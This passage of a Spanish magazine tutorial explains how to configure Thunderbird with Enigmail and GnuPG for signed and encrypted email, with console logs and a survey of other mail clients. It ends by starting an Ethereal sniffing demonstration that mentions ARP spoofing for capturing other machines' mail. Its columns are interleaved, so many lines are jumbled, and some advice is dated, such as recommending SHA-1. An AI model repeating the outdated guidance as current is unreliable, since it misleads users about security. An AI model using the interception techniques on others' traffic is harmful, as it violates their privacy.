en inglés). Los enlaces para descarga entrada global o no (a mí particu- (SMTP). No voy a entrar en los detalles
son: larmente no me gusta). de la configuración de la cuenta de
correo ni de detalles avanzados como
Para sistemas Linux: http:// User Names: Debemos indicar el uso de servidores salientes múltiples
download.mozilla.org/?product=thund e independientes entre cuentas, pues
erbird-1.0.2&os=linux&lang=en-US el nombre de usuario para correo no es el objeto de este texto aprender
entrante y correo saliente. a usar Thunderbird.
Para sistemas Windows: http:// Sí señalaré, no obstante, que es impor-
Imagen 1
download.mozilla.org/?product=thund tante señalar las opciones de autenticación
erbird-1.0.2&os=win&lang=en-US y cifrado correctas. En el caso de Gmail,
por ejemplo, habría que indicar en el
Para sistemas Mac OS X: http://down servidor entrante POP la opción "Use secure
load.mozilla.org/?product=thunderbird- connection (SSL)", así como TLS en el
1.0.2&os=osx&lang=en-US servidor saliente SMTP.

La primera vez que iniciéis Thunderbird Por último nos queda instalar la "joya
veréis el asistente que os ayudará a de la corona": enigmail. Esta pequeña
añadir vuestra cuenta de correo. maravilla programada en XUL (el
Cualquier cuenta con soporte POP/SMTP lenguaje en el que Mozilla vive y respira,
(o en su defecto IMAP) sirve, y si no del inglés "XML-based User Interface
tenéis ninguna, podéis usar una cuenta Imagen 2
d e G m a i l m e d i a n t e P O P S / S M T P.

Si no tenéis tampoco cuenta de


Gmail, pasaos por este hilo del
foro:
http://www.hackxcrack.com/php
BB2/viewtopic.php?t=17929
Y seguro que alguien os mandará
una invitación encantados.

Aprovecho para recomendar


encarecidamente (como hago en
cada artículo :-P) que visitéis el
foro:
http://www.hackxcrack.com/php
BB2/

L o s p a s o s p a ra a ñ a d i r l a c u e n t a
mediante el asistente son pocos y muy

13
Language") nos va a permitir trabajar el que el set de caracteres sea UTF8). configurada como válida o no. "Always
con Mozilla Thunderbird y GnuPG imple- La opción de recordar el passphrase del confirm before sending" es auto-
mentado de forma transparente al usuario por un tiempo (en minutos) explicativa (pide confirmación antes de
usuario. Lo primero es bajar los ficheros establecido puede resultar útil cuando enviar nada) y es útil cuando tenemos
.xpi al disco duro para poder instalarlos se deseen mandar muchos correos en el dedo un poco despistado :-P. La opción
desde Mozilla Thunderbird (mucho ojo, un corto período de tiempo... pero es "Rewrap signed HTML before sending"
s i u s á i s F i r e f ox , c o n n o i n t e n t a r una opción que yo no recomiendo, por reformatea el mail para evitar firmas
instalarlos en el mismo... no obstante motivos de seguridad. Así mismo, la no válidas en usuarios que utilicen correo
.xpi es la extensión de las extensiones opción de eliminar la necesidad de HTML (cosa que por otro lado des-
de Firefox igualmente). Los enlaces para passphrase permite trabajar con claves aconsejo profundamente... con lo bonito
descarga son: sin passphrase o cuyos usuarios utilicen que es el texto plano ASCII de toda la
algún gestor de passphrases como gpg- vida :-D), pero puede causar que el
Para sistemas Linux: http://www.mo agent. Por último, en la casilla de correo resulte ligeramente modificado.
servidores de claves podemos especificar "Allow empty subject" hace que enigmail
zilla-enigmail.org/downloads/enigmail-
cuáles deseamos usar. y Thunderbird no lancen el aviso de
0.91.0-tb-linux.xpi
asunto vacío que por defecto muestran.
Lamentablemente enigmail ya no Mediante la opción "Allow flowed text"
Para sistemas Windows: http:// soporta PGP, las razones podéis podemos activar el soporte del texto
www.mozilla-enigma il.org/down leerlas en el siguiente enlace: plano fluido que se detalla en el RFC
loads/enigmail-0.91.0-tb-win32.xpi http://enigmail.mozdev.org/help #2646 (ftp://ftp.rfc-editor.org/in-notes
.html#win /rfc2646.txt).
Para sistemas Mac OS X: http://www.mo El equipo de enigmail afirma que
zilla-enigmail.org/downloads/enigmail- la PGP Corp. no ofrece versiones
La opción de "Allow flowed text"
0.91.0-tb-darwin.xpi de línea de comandos a un precio
puede ser útil para usuarios de
razonable, así como tampoco unos
determinados MUA's que tengan
Una vez descargado, debemos instalarlo sistemas de salida estandarizados.
problemas al tratar caracteres
desde Thunderbird. Para ello iremos al
como saltos de línea. En
menú Tools > Extensions y selecciona- Sending: La opción "Encrypt to self"
Thunderbird no tendréis ningún
remos la opción Install, indicando la hace que al enviar cualquier correo,
tipo de problemas de este tipo,
ruta al fichero .xpi descargado. nuestra propia clave (la que se encuentre
por lo que no es necesario que la
seleccionada en cada cuenta) sea
activéis.
seleccionada como uno de los
destinatarios, lo cual es muy útil, pues
de otra forma tras enviar un correo y Key Selection: En esta pestaña nos
Es el momento de meternos en harina ser éste almacenado en la carpeta de encontramos con dos apartados. En el
con la configuración de enigmail. Para enviados, no podríamos leerlo. La opción primero de ellos, "Normal Key Selection",
ello, vamos al menú de preferencias "Always trust user ID" hace que se podemos seleccionar el comportamiento
(imagen 1) ignore el sistema de confianza de GPG ante el envío de correo con respecto a
(Enigmail > Preferences) y echamos un y se permita cifrar a cualquier clave, las claves: la primera opción es no
vistazo a sus distintas pestañas: independientemente de que ésta esté mostrar nunca la pantalla de selección
(imagen 2) Imagen 3
Basic: En este apartado podemos
configurar las opciones generales de
enigmail. El apartado "GnuPG executable
path" nos permite definir la ruta al
ejecutable GPG, cosa que puede resultar
útil si tenemos instalada más de una
versión (yo, por ejemplo, tengo instalada
la 1.4.0-3 en /usr/bin/gpg y la 1.9.15-
6 de desarrollo en /usr/bin/gpg2) y
queremos especificar cuál usar en
nuestro correo. En Windows debería ser
C:\ruta_a_gpg\gpg.exe. Los parámetros
adicionales nos permiten especificar
alguna opción que no esté incluida por
defecto pero que por algún motivo a
nosotros nos interese que sí lo esté
(enigmail ya incluye en este apartado

14
de claves, de forma que al enviar un cual es altamente conveniente (si recomendable que sea desactivada si
correo a un destinatario que no se nuestro interlocutor considera que la usas una o más cuentas IMAP, pues
encuentre en ninguna de las claves que conversación es lo suficientemente permite a enigmail tratar correctamente
poseemos, enigmail lo enviará sin cifrar importante para estar cifrada, no vamos los ficheros adjuntos como armadura
sin preguntar; la segunda opción es que a contradecirle... :-D). Mediante "Do de texto, evitando el problema que
la pantalla de selección de claves se not add Enigmail comment in OpenPGP genera Thunderbird al cargar los
muestre cuando sea necesario (el signature" evitamos que enigmail incluya mensajes según son requeridos por el
ejemplo dado para la opción anterior); en el comentario una frase informando cliente. Existe una opción adicional (justo
y la tercera es mostrarla siempre. de su uso. Para todos aquellos que antes de la última) si usáis enigmail en
Recomiendo usar la segunda (mostrarla acostumbran a adjuntar firmas en su Mozilla Suite llamada "Hide SMIME
cuando sea necesario), si bien yo la correo electrónico (yo, por ejemplo) o button/menus" que elimina de la interfaz
muestro siempre. La segunda parte de leen correos con firmas, la opción "Treat los elementos referidos al estándar
esta pestaña configura el compor- '--' as signature separator" es S/MIME.
tamiento particular de enigmail según importante, pues el estándar openPGP
el destinatario del mensaje: desactivar establece que la cadena '--' se S/MIME (Secure/Multipurpose
el comportamiento selectivo según des- transforme en '- -' a la hora de firmar, Internet Mail Extensions) es un
tinatario; aplicar las reglas definidas de forma que si no activamos esta opción estándar que propone varias
por el usuario en el editor de reglas no veremos correctamente las firmas extensiones de seguridad para
predestinatario (imagen 3), de forma (texto gris claro). La opción "Use gpg- correo electrónico, basado en el
que si no existen reglas no se haga agent for passphrase handling" es útil sistema PKI (Public Key
nada; o bien activar las reglas siempre, para los que no quieran tener que teclear Infrastructure) y muy parecido a
de forma que si no existe regla alguna contraseñas (cosa, por otro lado, poco OpenPGP en su concepción. Actual-
predefinida para el destinatario, se cree recomendable y muy insegura) y debe mente la versión más reciente es
una nueva. Mi recomendación es activar ser usada en conjunción con la opción la 3, que como siempre, podemos
la segunda opción y, si lo deseamos, "No passphrase for user" del menú Basic conocer gracias a los correspon-
definir unas determinadas reglas para de configuración. La siguiente opción dientes RFC's:
un destinatario concreto. permite modificar la forma en que
enigmail trata las cadenas de direcciones S/MIME Version 3 Message
de correo electrónico, eliminando los Specification (RFC #2633): ftp:
PGP/MIME: En esta pestaña podemos
símbolos '<>' para mantener / / f t p . r f c - e d i t o r. o r g / i n - n o t e s
seleccionar si deseamos usar el estándar
compatibilidad con claves generadas /rfc2633.txt
PGP/MIME (RFC #3156, ftp://ftp.rfc-
con Hushmail. La opción "Load MIME
e d i t o r. o r g / i n - n o t e s / r f c 3 1 5 6 . t x t ) ,
parts on demand (IMAP folders)" es S/MIME Version 3 Certificate
simplemente permitir su uso, o por el
c o n t ra r i o n o p e r m i t i r l o. A d e m á s ,
Imagen 4
podemos seleccionar el algoritmo de
hash que deseamos usar, entre MD5,
SHA-1 y RIPEMD-160. Si recordáis el
artículo anterior, hasta hace poco SHA-
1 era el único que no había sido
comprometido, aunque ahora mismo los
tres han tenido ataques exitosos a su
algoritmia. No obstante, sigo
recomendando SHA-1 mientras
implementan nuevos y más potentes
algoritmos en OpenPGP, además de ser
el único que funciona con el 100% de
las claves. Respecto al uso de PGP/MIME,
lo mejor es permitir su uso y luego
usarlo o no según las circunstancias.

Advanced: En este menú se en-


cuentran las opciones menos comunes
de enigmail. "Encrypt if replying to
encrypting message" hace que enigmail,
por defecto, seleccione la opción de
cifrar mensaje cuando estemos
respondiendo a un mensaje cifrado, lo

15
Handling (RFC #2632): ftp://
Initializing Enigmail service ...
f t p . r f c - e d i t o r. o r g / i n - n o t e s
EnigmailAgentPath=/usr/bin/gpg
/rfc2632.txt
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --version
gpg (GnuPG) 1.4.0
Copyright (C) 2004 Free Software Foundation, Inc. ¿Es mejor o peor que OpenPGP?
T h i s p r o g r a m c o m e s w i t h A B S O L U T E LY N O W A R R A N T Y. Va en gustos. Lo que sí es a todas
This is free software, and you are welcome to redistribute it luces es algo más complejo en su
under certain conditions. See the file COPYING for details.
estructura (pues aparte de los
clásicos algoritmos de cifrado
Home: ~/.gnupg
Supported algorithms: simétricos, asimétricos y de hash,
Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA tenemos que tratar con otros
Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH elementos como los certificados
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512
de seguridad X.509), y algo anti-
Compression: Uncompressed, ZIP, ZLIB, BZIP2
cuado en cuanto a los algoritmos
Listado 1 usados y siempre comparándolo
con OpenPGP (S/MIME utiliza 3DES
como algoritmo de cifrado
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --comment '
simétrico).
Using GnuPG with Thunderbird - http://enigmail.mozdev.org' --clearsign -u 0xAF95
93E1 --passphrase-fd 0 --no-use-agent

Debugging: En este menú se


Listado 2 configuran las opciones de corrección
de errores de Thunderbird. En el campo
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --comment '
"Log directory" podemos configurar una
Using GnuPG with Thunderbird - http://enigmail.mozdev.org' --clearsign -u 0xAF95
ruta para almacenar los logs de enigmail
93E1 --passphrase-fd 0 --no-use-agent
(en caso de no especificar ninguna ruta,
gpg: skipped "0xAF9593E1": bad passphrase
gpg: [stdin]: clearsign failed: bad passphrase
no se almacenarán logs). En el campo
e n i g m a i l . j s : E n i g m a i l . e n c r y p t M e s s a g e E n d : E r r o r i n c o m m a n d e xe c u t i o n "Test email" podremos introducir un
enigmail.js: Enigmail.encryptMessage: Error in command execution email para probar la introducción del
passphrase, la validez de la clave...
Listado 3

Ya hemos configurado las opciones


generales de enigmail, pero aún nos
queda por configurarlo particularmente
para la cuenta creada. Para ello iremos
a la configuración de la cuenta a través
del menú Edit > Account Settings y
seleccionamos el menú "OpenPGP
Security" (imagen 4). Ahora debemos
activar el soporte OpenPGP para esta
cuenta, y seleccionar el método de
elección de clave: en base al correo
Imagen 5 electrónico o una clave determinada
(recomiendo esta segunda opción).
Además debemos configurar el
comportamiento respecto a firma y
cifrado de enigmail con esa cuenta, para
lo cual recomiendo seleccionar firmar
siempre todos los mensajes (tanto
cifrados como no cifrados) pero no
activar el cifrado por defecto. Las dos
últimas opciones permiten añadir sendos
Imagen 6 campos a la cabecera del correo
electrónico indicando el KeyID de la
Good signature from <emisor> <correo_del_emisor> clave usada y una URL de donde bajarla
Key ID: <KeyID_del_emisor> / Signed on: <fecha_de_firma> respectivamente.

Listado 4

16
(en caso de no ver la información
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d completa, pulsad sobre el icono "+"
gpg: Signature made Mon May 2 01:50:47 2005 CEST using RSA key ID FB5671E1 junto a la cabecera). Si nada ha fallado,
gpg: Good signature from "Noticias Hispasec - 2004 <noticias@hispasec.com>"
nos mostrará un mensaje similar a este:
(listado 4)
Listado 5
Podemos pulsar en el icono del bolígrafo
para obtener información extendida
(imagen 6), así como consultar la
consola de enigmail para ver qué
comando se ha ejecutado y la salida del
mismo: (listado 5)

Todo esto es lo que ocurrirá en la


mayoría de las ocasiones, cuando no
exista ningún problema con la firma.
Pero, como bien sabemos todos, siempre
hay algún problema... :-P
Imagen 7
Es bastante común que únicamente una
parte del correo haya sido firmado. Esta
situación se da, por ejemplo, cuando
nuestro interlocutor está respondiendo
a un correo firmado (con lo que la parte
respondida, y siempre y cuando no haya
sido modificada, estará firmada), cuando
se adjuntan ficheros que no han sido
Imagen 8 firmados, o cuando intencionadamente
se firma una parte discreta de mensaje.
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d
gpg: Signature made Sun Mar 27 14:14:54 2005 CEST using RSA key ID <KeyID>
gpg: BAD signature from "Popolous <correo>" Veamos un ejemplo (imagen7). Este
e n i g m a i l . j s : E n i g m a i l . d e c r y p t M e s s a g e E n d : E r r o r i n c o m m a n d e xe c u t i o n correo fue enviado por mi querido amigo
Popolous a la lista de correo de gestión
Listado 6 de textos de la revista, y aquí vemos
un ejemplo de un mensaje parcialmente
firmado: enigmail nos advierte de que
Hay un elemento que quiero comentar Bien, tras todo este rollo teórico y parte del mensaje ha sido firmado, de
antes de empezar a trabajar con configuraciones varias, ya podemos que los adjuntos no han sido firmados,
enigmail: la consola de debugging. Esta meternos con la parte práctica... que al y nos especifica con un mensaje
consola puede ser accedida mediante el fin y al cabo siempre es la más llamativo en el cuerpo del correo qué
menú Enigmail > Debugging Enigmail > interesante. Vamos a empezar apren- parte es la firmada.
View Console. En ella, al arrancar diendo a analizar los correos firmados
Thunderbird, solamente se reflejará la y/o cifrados que recibimos en nuestro Todas las partes que oculto de
información de arranque:(listado 1) buzón... las imágenes son para proteger
la privacidad de alguien. Mi
Ahora veamos qué aparece en la consola Como ejemplo, voy a tomar el correo KeyID ha sido publicada varias
cuando envío un correo firmado... del boletín una-al-día de la gente de veces en anteriores artículos,
(listado 2) Hispasec (http://www.hispasec.com/, así como direcciones o KeyID
desde aquí mando un saludo para ellos) de listas públicas (por ejemplo,
Ahora, si introduzco el passphrase de (imagen 5). una-al-día). Lo que no voy a
forma incorrecta...(listado 3) hacer es publicar ni direcciones
Como vemos, nada más seleccionar el ni KeyID privadas de usuarios
Como vemos la consola nos puede correo en la ventana principal de particulares.
ayudar mucho a la hora de controlar los Thunderbird (o bien al abrir el mensaje
errores producidos, así como para en una ventana independiente) veremos Ahora vamos a ver otro ejemplo en el
conocer mejor GnuPG (a través del una sección añadida por enigmail con que la firma está directamente mal
análisis de los comandos que ejecuta fondo verde en la que se nos proporciona (también de Popolous... lo siento, hoy
enigmail). información sobre el estado de la firma te ha tocado xD) (imagen 8).

17
Como vemos, enigmail nos muestra dos
avisos visuales llamativos para
alertarnos de la situación: en primer
lugar el fondo de la cabecera añadida
cambia a rojo, con su correspondiente
Imagen 9 mensaje de error; y además el icono
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph del bolígrafo ahora muestra una señal
rase-fd 0 --no-use-agent de error. Pulsando en dicho icono, o
gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21 bien acudiendo a nuestra amada consola
"Death Master <correo>"
de enigmail (;-P) podremos obtener más
detalles del error. Yo consultaré la
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --verify
consola:(listado 6)
gpg: Signature made Mon Apr 25 23:28:02 2005 CEST using DSA key ID <KeyID>
gpg: Good signature from "AcidBorg <correo>"
Evidentemente, no siempre una alerta
Listado 7 de una firma errónea supone que alguien
haya estado enredando en tus correos.
Pero cuando todo marcha bien, sí es
síntoma inequívoco de que nada malo
ha pasado.

Imagen 10 Ahora veamos qué pasa cuando


recibimos un correo cifrado (imagen
9), por ejemplo uno que me mandó
recientemente mi amigo AcidBorg (sí,
hay gente que se manda el correo cifrado
como costumbre, ¿qué pasa? xD). En
primer lugar -evidentemente- nos pedirá
el passphrase de nuestra clave como
mínimo una vez (pueden ser más, si
hay archivos adjuntos que también han
sido cifrados, con lo que nos la pedirá
tantas veces como archivos haya más
Imagen 11 una -el correo-). En caso de introducirla
mal (o no introducirla), no veremos
nada y enigmail nos devolverá como
error "bad passphrase" (cuyo ejemplo
ya puse antes, hablando de la consola).
Una vez descifrado el correo, veremos
la cabecera con fondo verde con los
mensajes correspondientes a la
verificación de la firma y además el del
Imagen 12
descifrado del correo. Al icono de firma
correcta hay que añadir ahora uno de
descifrado correcto (representado por
una llave), si bien ambos proporcionan
la misma información.

La salida de la consola ahora será un


poco más larga, pues debe contener la
información del proceso de descifrado y
de verificación de la firma:(listado 7)

Es posible que en algún momento


recibamos un correo firmado por alguien
cuya clave no poseemos (si estás
suscrito a alguna lista de correo, es muy
común). En ese caso, enigmail nos
Imagen 13 avisará con un mensaje de error con

18
(imagen 12) la opción "Sign Message"
(y si habéis seguido mis recomen
daciones sobre la configuración
de enigmail, ni siquiera eso). Al dar la
orden de envío a Thunderbird, se nos
pedirá el passphrase y tras introducirlo
correctamente, el correo se firmará y
enviará automáticamente.

Para enviar un correo cifrado hay que


Imagen 14
seleccionar la opción "Encrypt Message"
(es recomendable firmar también los
mensajes cifrados). Al dar la orden de
envío, pueden pasar dos cosas: que el
correo se mande automáticamente (o
bien os pida el passphrase, en caso de
haber seleccionado también la opción
de firma), o bien que aparezca la ventana
de selección de claves (imagen 13).
Imagen 15 ¿En qué condiciones aparece esa ventana?
Pues depende de la configuración que
hayáis establecido en enigmail. Si habéis
seguido mi recomendación, únicamente
aparecerá cuando se esté enviando un
correo a un destinatario que no figura
en ninguna de las claves de nuestro
anillo. Si habéis configurado enigmail
c o m o yo, a p a r e c e r á s i e m p r e x D.

En esta ventana simplemente debemos


seleccionar el o los destinatarios a los
que deseamos cifrar el mensaje y pulsar
aceptar. Es posible, así mismo, indicar
en este paso que el correo sea mandado
sin cifrar (en la casilla "Send mail
unencrypted"); refrescar la información
del anillo de claves; descargar nuevas
versiones de las claves desde un servidor
de claves; y editar las reglas de pre-
destinatario.
Imagen 16
Existen así mismo un par de opciones
fondo beige en su cabecera y nos instará para descargar dicha clave de un adicionales en el menú OpenPGP de
a pulsar en el icono del bolígrafo para servidor de claves (imagen 11). Si le composición de correo: la primera nos
obtener más detalles (imagen 10). He otorgamos permiso, nos preguntará qué permite activar el uso de PGP/MIME, y
tomado como ejemplo un correo servidor deseamos usar de entre los la segunda ignorar las reglas pre-
mandado a la lista de correo del Hacklab que están indicados en las opciones de destinatario para el mensaje actual.
Vallekas (otro saludo desde aquí para enigmail, tras lo cual se conectará al
toda la gente del Kaslab, de quienes mismo y descargará la clave a nuestro
podéis encontrar más información en anillo directamente.
http://vallekaslab.ath.cx/) por alguien
cuya clave no se encontraba en mi anillo. Enviar correos firmados y/o cifrados es
mucho más sencillo, gracias a que enigmail Existe en enigmail una opción
Al pulsar en el icono del bolígrafo se encarga de la parte dura. ;-) relativamente reciente (desde la versión
enigmail nos avisará de que no ha podido 0.89 del 14 de Noviembre de 2004)
verificar la firma por no encontrar la La firma es totalmente transparente. consistente en toda una interfaz gráfica
clave pública del firmante en nuestro Simplemente hay que seleccionar en el para GnuPG incrustada en enigmail y el
anillo, así como nos solicitará permiso menú OpenPGP de la barra de tareas gestor de correo que lo use (sea

19
mejores clientes de correo que existen,
no a todo el mundo tiene porqué
gustarle. Además, para los usuarios de
Windows supone no poder usar PGP y
depender de GnuPG, lo cual no a todo
el mundo le gusta (si bien es cierto que
con el administrador de claves de
enigmail ya no es tan problemático...).

Para todas esas personas, ahora vamos


a conocer otros clientes de correo que
permiten manejar OpenPGP con gran
facilidad. Primero vamos a hablar de los
clientes para sistemas Unix-like (como
GNU/Linux) y luego para sistemas
Microsoft Windows. Cada cual que
pruebe y elija el que más le guste. :-)

Kmail (*NIX): Se trata del cliente de


correo integrado en el gestor de
ventanas KDE. Implementa OpenPGP
con GnuPG mediante GPGME (GnuPG
Made Easy). Su configuración (imagen
16) y uso es muy similar a todas las
que ya hemos visto, por lo que no creo
que haya que entrar en detalles.

Imagen 17 E n e n t o r n o s U n i x- l i k e l o s
entornos gráficos tienen dos
partes fundamentales: el
servidor gráfico y el gestor de
ventanas. El servidor gráfico es
el "corazón" del sistema gráfico,
y existen varias imple-
mentaciones (Xfree86, Xorg...),
mientras que el gestor de
ventanas es el "rostro" del
mismo, la parte visible al
usuario.

Gestores de ventanas existen


muchos: KDE (K Desktop
Environment) y GNOME (GNU
Network Object Model
Environment) son los
Imagen 18
principales y más utilizados,
pero existen muchos otros:
Thunderbird o Mozilla) (imagen 14). Mediante esta interfaz podemos realizar Fluxbox, WindowMaker, IceWM,
Como veréis, tiene un gran parecido todas las opciones básicas de GnuPG de Blackbox, XFCE, Enligh-
con otras GUI's (imagen 15). una forma similar a cualquier otra GUI: tenment...
trabajo con claves, acceso al servidor de
Po d e m o s a c c e d e r a e s t a i n t e r f a z claves, generación de pares de claves... Entre los usuarios de KDE
denominada "OpenPGP Key Manager" no dejéis de echarle un vistazo. ;-) (como yo) y los de Gnome (esos
mediante el menú Enigmail > OpenPGP herejes ;-P) siempre ha existido
Key Management. Esta opción resulta un "sano pique"... aprovecho
especialmente útil a los usuarios de para mandar desde aquí un
GnuPG bajo Windows, que de esta forma saludo para mis amigos
pueden evitarse el uso de la línea de Aunque en mi opinión Mozilla Gnomeros, que por cierto son
comandos si les resulta incómoda. Thunderbird es, hoy por hoy, uno de los muchos. :-D

20
a buen número de gusanos de
correo.

¿Queréis un consejo? No uséis


Outlook, hay muchas otras
mejores opciones para sistemas
Windows, y no necesariamente
Software Libre.

Eudora (Windows): Uno de los más


Imagen 19 veteranos clientes de correo para
Windows. Al igual que ocurría con
Outlook Express, PGP nos ofrece durante
su instalación un plugin para integrar
soporte para PGP en Eudora.
Personalmente, lo probé y no me
terminó de convencer, pero al igual que
ocurre con Evolution, tiene grandes
incondicionales. Es importante tener en
cuenta que este software es de pago,
por lo que deberéis abonar la
correspondiente licencia para poder
instalarlo (o probar una versión de
evaluación).

The Bat! (Windows): Este cliente de


correo empieza a ser cada vez más
conocido, y es -en mi opinión, como
Imagen 20 siempre- una de las mejores opciones
Evolution (*NIX, Windows): Ahora es gráfico) que soporta de forma nativa dentro del software no libre, si no la
el turno del cliente integrado en el gestor soporte para GnuPG (imagen 18). Si mejor. Implementa compatibilidad con
de ventanas Gnome (imagen 17). La sylpheed es un cliente para frikis, éste OpenPGP a través de diversas versiones
implementación OpenPGP es e s p a ra m e g a - f r i k i s d e l i b r o. x D de PGP y GnuPG, así una implementación
directamente a través de GnuPG, y propia empotrada en el software que
aunque no implementa tantas opciones Outlook Express (Windows): Se trata permite usar cifrado de correo OpenPGP
como Kmail o enigmail, son más que del cliente por defecto en los sistemas sin necesidad de instalar software
s u f i c i e n t e s c o m o p a ra m a n e j a r s e Windows, del mismo desarrollador adicional (imagen 19). Esa implemen-
cómodamente con él. Además, existe (Microsoft), y no creo que haya mucha tación propia posee la mayoría de las
desde hace relativamente poco una gente por aquí que no lo conozca. El características de PGP y GnuPG, así como
implementación para sistemas Windows, instalador de PGP nos ofrece durante el interfaz gráfica propia (imagen 20).
por lo que también los windowseros proceso de instalación la opción de
podréis disfrutar de este cliente (mucha instalar un plugin para Outlook Express Todos estos clientes de correo se
gente dice que es de los mejores... fue que permite integrar soporte para el configuran y usan de una manera muy
uno de los primeros que probé y mismo. similar (excepto Mutt, que es un "caso
personalmente no me gustó). aparte"), así que no creo que nadie
Esto que voy a decir ahora es
tenga ningún problema con ellos. Y si
una opinión personal, y como
alguno de vosotros lo tiene, sólo tenéis
Sylpheed (*NIX, Windows): Este tal es gratis: Outlook Express
que pasaros por el foro y preguntar,
cliente gráfico implementa (y Outlook) son seguramente
estoy seguro que alguien os ayudará
compatibilidad con GnuPG a través de los clientes de correo más
encantado (hasta con Mutt, que me sé
los plugins sylpheed-claws-pgpinline- usados, como suele ocurrir con
de alguno que lo usa :-P).
plugin y sylpheed-claws-pgpmime. No todo software de la multina-
es un cliente muy conocido, pero es cional Microsoft. Así mismo -y
bastante usado entre los más frikis de aún a riesgo de parecer un
Linux. talibán del software libre- os
diré que es uno de los peores
clientes de correo: sus fallos
Mutt (*NIX): Se trata de un cliente Es bastante probable que en un
de seguridad son legendarios y
para consola (osea, que no tiene modo momento dado necesitemos una manera
han "ayudado" a hacer famosos

21
es a través de Thunderbird).

Lo primero, vamos a escribir un texto


(yo usaré mi queridísimo Vim :-P)
(listado 8).

Ahora lo cifraremos con GnuPG...


(listado 9).

Con lo que hemos obtenido un fichero


texto.txt.asc que contiene:(listado 10).

Copiamos el texto, lo pegamos en la


ventana de composición de mensaje del
webmail (imagen 21), y lo enviamos.
Ahora comprobamos que ha llegado, se
descifra y la firma se verifica
Imagen 21 correctamente (imagen 22).
Consultando la consola de enigmail
vemos que efectivamente así es:
(listado 10).

Mediante este método podemos transmitir


mensajes cifrados por cualquier medio
que permita el envío de texto, y no
únicamente limitarnos al correo
electrónico... pensad en otros ejemplos
de comunicación con texto: IRC,
mensajería instantánea... pero también
existen formas de cifrar automáticamente
en estos medios. Ya hablaremos de ello a
Imagen 22 su debido tiempo... ;-)

Hola, esto es una prueba...

Wa d a l b e r t i a ü b e r a l l e s !

Listado 8 ¿Realmente es tan necesario el uso de


c r i p t o g ra f í a ? ¿ S o n t a n i n s e g u r o s
master@blingdenstone:~$ gpg --armor --recipient 0xaf9593e1 --sign --encrypt-files texto.txt
nuestros correos electrónicos? En
realidad esto es como todo: tiene tanta
You need a passphrase to unlock the secret key for
importancia como tú quieras darle. No
user: "Death Master <correo_electrónico>"
4096-bit RSA key, ID AF9593E1, created 2003-07-21
veo ningún problema en mandarle a un
amigo un correo sin cifrar en el que le
master@blingdenstone:~$ dices que habéis quedado a las 22.00
-----END PGP MESSAGE----- en la estación de metro; pero en cambio
me preocupa sobremanera cómo enviar
Listado 9 a ese mismo amigo las claves de acceso
a la base de datos del foro, y quien dice
de utilizar OpenPGP "universal". Por Sea cual sea el caso, es útil tener a claves de acceso dice número de
ejemplo, podemos estar usando un mano una forma general de usar cuentas, documentos importantes...
cliente que no tenga soporte para OpenPGP para correo electrónico. Para
OpenPGP, o que lo tenga mediante ello vamos a usar las capacidades de Por eso, vamos a ver un ejemplo de lo
complicados plugins o scripts; o puede cifrado de texto plano de GnuPG, KGPG fácil que resulta espiar el correo
que estemos usando un cliente webmail y PGP. Para este ejemplo voy a mandar electrónico. Para ello voy a usar el
y hayamos recibido un correo cifrado un correo cifrado desde mi cuenta de magnífico sniffer Ethereal
y/o firmado que queramos descifrar y/o gmail mediante la interfaz webmail (no ( h t t p : / / w w w. e t h e r e a l . c o m / ) p a r a
verificar. suelo utilizar gmail, y cuando lo hago capturar el tráfico de diversos correos

22
que voy a enviarme a mí mismo. En
-----BEGIN PGP MESSAGE-----
este caso voy a capturar el tráfico desde
Version: GnuPG v1.4.0 (GNU/Linux)
el mismo ordenador que lo genera, pero
hQIMAyaE+coCYLuwARAAiszhc4nwZEwMWoGRkLbVgxkQPeKC1mw6maoZupPifL0V sería trivial realizarlo desde cualquier
{...} otro ordenador de la misma red (con
técnicas como ARP Spoofing, por
Listado 10 ejemplo) o cualquier ordenador
conectado a una red por la que pase el
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph
correo electrónico antes de llegar a su
rase-fd 0 --no-use-agent
destino.
gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21
"Death Master <correo_electrónico>"
gpg: Signature made Sat May 7 15:53:05 2005 CEST using RSA key ID AF9593E1
¡¡IMPORTANTE!! Antes de nada,
gpg: Good signature from "Death Master <correo_electrónico>" debe quedar MUY clara una
cosa: yo voy a utilizar cuentas
{...} de correo que son de mi
propiedad por lo que no hay
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --with-colo ningún problema. Pero en caso
ns --list-keys 6F6F3938AF9593E1 de que no fueran mías sí lo
habría, pues espiar el correo
Listado 11
electrónico es un DELITO MUY
GRAVE.

Cada cual es responsable de


sus propios actos.

Para nuestro primer ejemplo voy a


mandar un correo electrónico sin cifrar
desde una cuenta con correo saliente
SMTP hasta una cuenta con correo
entrante POPS (con SSL). El camino que
seguirá el correo será:

Origen -> Access Point -> Router ->


{Internet} -> Servidor SMTP ->
{Internet} -> Servidor POPS ->
{Internet} -> Router -> Access Point -
> Destino

Imagen 23 E x p l i c a r é b r e ve m e n t e l a l e ye n d a
utilizada: en verde está marcado el
trayecto durante el cual el correo es
completamente legible para cualquiera
interesado en él; en amarillo está
marcado el trayecto durante el cual no
sabemos el grado de seguridad del
correo (aunque posiblemente sea bajo
o nulo); y en rojo está marcado el
trayecto durante el cual el correo es
ilegible para cualquiera (excepto para
nosotros en el destino) y es por tanto
seguro.

Al usar correo SMTP sin cifrar, el correo


hasta llegar al servidor viaja como una
postal, completamente visible. Desde
el servidor SMTP hasta el servidor POPS
Imagen 24 no conocemos el grado de seguridad

23
Ahora probaremos a mandar un correo
electrónico cifrado con PGP desde una
cuenta con correo saliente SMTP hasta
una cuenta con correo entrante SMTP
(ambas sin SSL). El esquema es el
siguiente:

Origen -> Access Point -> Router ->


{Internet} -> Servidor SMTP ->
